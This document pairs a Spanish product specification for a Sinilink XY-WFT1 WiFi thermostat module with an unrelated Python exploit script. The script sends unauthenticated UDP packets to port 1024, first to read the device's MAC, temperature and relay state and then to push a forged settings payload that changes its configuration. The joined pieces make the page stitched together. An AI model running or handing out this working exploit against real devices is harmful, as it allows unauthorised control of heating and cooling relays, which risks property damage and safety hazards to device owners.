Descripción general

Módulo termostato remoto WiFi Controlador de temperatura de alta precisión Refrigeración y calefacción Recolección de temperatura APP XY-WFT1 WFTX

Parámetros técnicos

Visualización de temperatura: visualización en tubo digital
Voltaje de alimentación: DC 6~30V
Alimentación USB: soporte
Rango de control de temperatura: -40~110°C
Precisión de control de temperatura: 0.1℃
Rango de medición de temperatura NTC: -40~110℃
¿Soporta 18B20?: Sí (-40~110°℃)
Tipo de salida: interruptor de relé, corriente hasta 10A
Notificación de alarma: soporte de notificación de alarma WeChat
Registro de datos en la nube: 15 días de registro en la nube, se puede exportar en cualquier momento
Función de interruptor temporizador: soporte

#!/usr/local/bin/python3
# Author: Victor Hanna (Exploit Security)
# Sinilink WiFi Remote Thermostat
# CWE-300: Channel Accessible by Non-Endpoint

import requests
import re
import urllib.parse
from colorama import init
from colorama import Fore, Back, Style
import sys
import os
import time
import socket
import time
from datetime import datetime

from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

# Banner Function
def banner():
    print ("[+]********************************************************************************[+]")
    print ("|   Author : Victor Hanna (9lyph)["+Fore.RED + "Exploit Security" +Style.RESET_ALL+"]\t\t\t\t\t    |")
    print ("|   Description: Sinilink WiFi Remote Thermostat                                    |")
    print ("|   Usage : "+sys.argv[0]+" <host>                                                     |")
    print ("[+]********************************************************************************[+]")

def retrieve_device_info():

    SinilinkMsgFromClient = "SINILINK521"
    host = str(sys.argv[1])
    try:
        bytesToSend = str.encode(SinilinkMsgFromClient)
        serverAddressPort = (""+host, 1024)
        bufferSize = 1024
        print (Fore.GREEN + "[+] Retrieving Device Information ..." + Style.RESET_ALL)
        UDPClientSocket = socket.socket(family=socket.AF_INET, type=socket.SOCK_DGRAM)
        UDPClientSocket.sendto(bytesToSend, serverAddressPort)
        time.sleep(5)
        msgFromServer = UDPClientSocket.recvfrom(bufferSize)
        msg = "Message from Server {}".format(msgFromServer[0])
        msgSplit = msg.split(",")
        MAC = msgSplit[0][30:-1]
        dt = msgSplit[1][7:]
        converted = datetime.fromtimestamp(int(dt)).strftime("%A, %B %d, %Y %I:%M:%S")
        temp = msgSplit[5]
        degree = msgSplit[6][1:-1]
        relay_value = msgSplit[2][9:]
        print (Fore.CYAN + f"    --> MAC Address: {MAC}" + Style.RESET_ALL)
        print (Fore.CYAN + f"    --> Time Stamp: {converted}" + Style.RESET_ALL)
        print (Fore.CYAN + f"    --> Current Temperature Reading: {temp}{degree}" + Style.RESET_ALL)
        if (relay_value == "1"):
            print (Fore.CYAN + f"    --> Relay State: Open" + Style.RESET_ALL)
        else:
            print (Fore.CYAN + f"    --> Relay State: Closed" + Style.RESET_ALL)
    except:
        print ("Unsuccessful")

def send_payload():
    try:
        epoch_time = str(int(time.time()))
        msgFromClient = '4C:EB:D6:01:A8:7C{"MAC":"4C:EB:D6:01:A8:7C","time":'+epoch_time+',"param":[1,"M",0,20.8,"C","H",66,5,0,0,0,20.5,0,-40,0,0,5,1,0,0,0,0]}'
        bytesToSend = str.encode(msgFromClient)
        serverAddressPort = (""+host, 1024)
        bufferSize = 1024
        print (Fore.GREEN + "[+] Sending Payload ..." + Style.RESET_ALL)
        time.sleep(10)
        UDPClientSocket = socket.socket(family=socket.AF_INET, type=socket.SOCK_DGRAM)
        UDPClientSocket.sendto(bytesToSend, serverAddressPort)
        time.sleep(15)
        UDPClientSocket.close()
    except:
        print ("Unsuccesful")
    
# Main Function
def main():
    os.system('clear')
    banner()
    retrieve_device_info()
    send_payload()
    retrieve_device_info()



if __name__ == "__main__":
    if len(sys.argv)>1:
        host = sys.argv[1]
        main()
    else:
        print (Fore.RED + f"[+] Not enough arguments, please specify target and relay!" + Style.RESET_ALL)